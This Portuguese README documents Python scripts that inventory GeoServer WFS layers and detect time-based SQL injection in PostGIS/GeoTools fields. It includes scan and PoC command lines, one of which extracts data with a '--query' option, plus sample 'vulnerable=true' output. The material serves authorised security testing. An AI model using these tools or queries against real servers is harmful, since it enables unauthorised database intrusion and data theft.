
Scripts em Python para inventariar endpoints WFS do GeoServer e verificar vulnerabilidades de injeção SQL baseada em tempo em PostGIS/GeoTools, com um modo PoC dedicado para testes autorizados.
Este repositório contém dois scripts Python para investigação de endpoints WFS do GeoServer.
wfs_inventory.pyFinalidade: Inventariar camadas, campos XSD e valores WFS, além de verificar opcionalmente candidatos por meio de uma verificação baseada em tempo.
Exemplos de execução:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyFinalidade: Ponto de entrada combinado para o inventário, além de um modo PoC separado.
Exemplos de execução:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
Aviso importante: A verificação baseada em tempo e o modo PoC só podem ser usados contra sistemas para os quais exista autorização expressa de teste. O modo de inventário normal utiliza exclusivamente operações WFS regulares.
Tornar opcionalmente executável:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
O caminho padrão /geoserver/wfs é adicionado automaticamente. Portanto, as seguintes especificações são equivalentes:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
Em caso de instalação diferente, o caminho WFS completo deve ser especificado.
Somente para sistemas expressamente autorizados:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
Durante a verificação, uma medição por candidato aparece em stderr:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
Um screen aprovado ainda não é um achado positivo. Somente se a segunda medição, mais longa, também for aprovada, um bloco de parâmetros é emitido.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE ativa automaticamente o diagnóstico detalhado e o escreve no arquivo especificado.
O modo padrão auto processa as informações WFS nesta ordem:
GetCapabilities é aberto uma vez:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
A resposta XML é transmitida em fluxo. Assim que um FeatureType/Name é encontrado, o próximo typeName é definido.
Para esta camada, DescribeFeatureType é executado imediatamente com version=2.0.0.
O script extrai os elementos XSD e seleciona campos string/JSON com nomes semelhantes a ID ou número.
O candidato é verificado dependendo da chamada:
--sleep: valores de amostra devem ser JSON sintaticamente válido.--sleep N: uma consulta de controle e uma consulta de verificação baseada em tempo são medidas. A verificação de valor JSON é ignorada nesse caso.O resultado é emitido e liberado imediatamente.
Somente depois disso, o próximo typeName é lido da resposta GetCapabilities em andamento.
Dessa forma, uma resposta GetCapabilities grande não precisa ser totalmente processada antes que o primeiro resultado apareça.
Sem --sleep, o modo automático considera por padrão campos string/JSON com nomes semelhantes a ID ou número.
Com --sleep, --candidate-scope auto usa, por outro lado, todos os campos simples que não sejam de geometria. O tipo XSD e o padrão de nome ID não bloqueiam mais a verificação de timing. Isso evita falsos negativos em tipos XSD numéricos, de data/booleano ou específicos do fornecedor.
Padrões de nome reconhecidos incluem, entre outros:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
Na verificação baseada em tempo, o nome do campo também deve ser um identificador simples no formato [A-Za-z_][A-Za-z0-9_]*.
Sem --sleep, é verificado se os valores observados podem ser interpretados sintaticamente como JSON. Portanto, por exemplo, a string "383205" também é considerada candidata, porque seu conteúdo representa um número JSON válido. Essa verificação é uma heurística e não uma prova de vulnerabilidade.
Com --sleep 1, apenas a medição de tempo decide. Um candidato é considerado positivo por padrão se a consulta de verificação exigir pelo menos 70 por cento do tempo de sleep solicitado adicionalmente em relação à consulta de controle. --timing-result-type auto verifica primeiro resultType=hits e, em caso de resultado negativo, em seguida resultType=results.
Medições preliminarmente positivas são obrigatoriamente confirmadas com um tempo de sleep mais longo. Sem --confirm-sleep explícito, o script usa max(3, --sleep * 3), limitado a 10 segundos. Dessa forma, um único pico de latência com --sleep 1 não leva mais a vulnerable=true.
A saída padrão contém um bloco por camada válida:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN contém o endpoint WFS normalizado e os valores adequados para --typename e --field_name.
--valid-fields N conta blocos de camadas, não campos individuais. Se existirem menos de N camadas válidas, o restante do catálogo continua sendo investigado. Com --max-layers, o tempo máximo de execução pode ser limitado.
As opções --diagnose ou --valid-diagnose FILE adicionam, entre outros:
GetCapabilities usada,DescribeFeatureType,GetFeature gerada eExemplo:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
Limitar a um namespace:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
Cada campo é emitido como um objeto JSON com nome, tipo XSD, nillable, id_candidate e usable_property.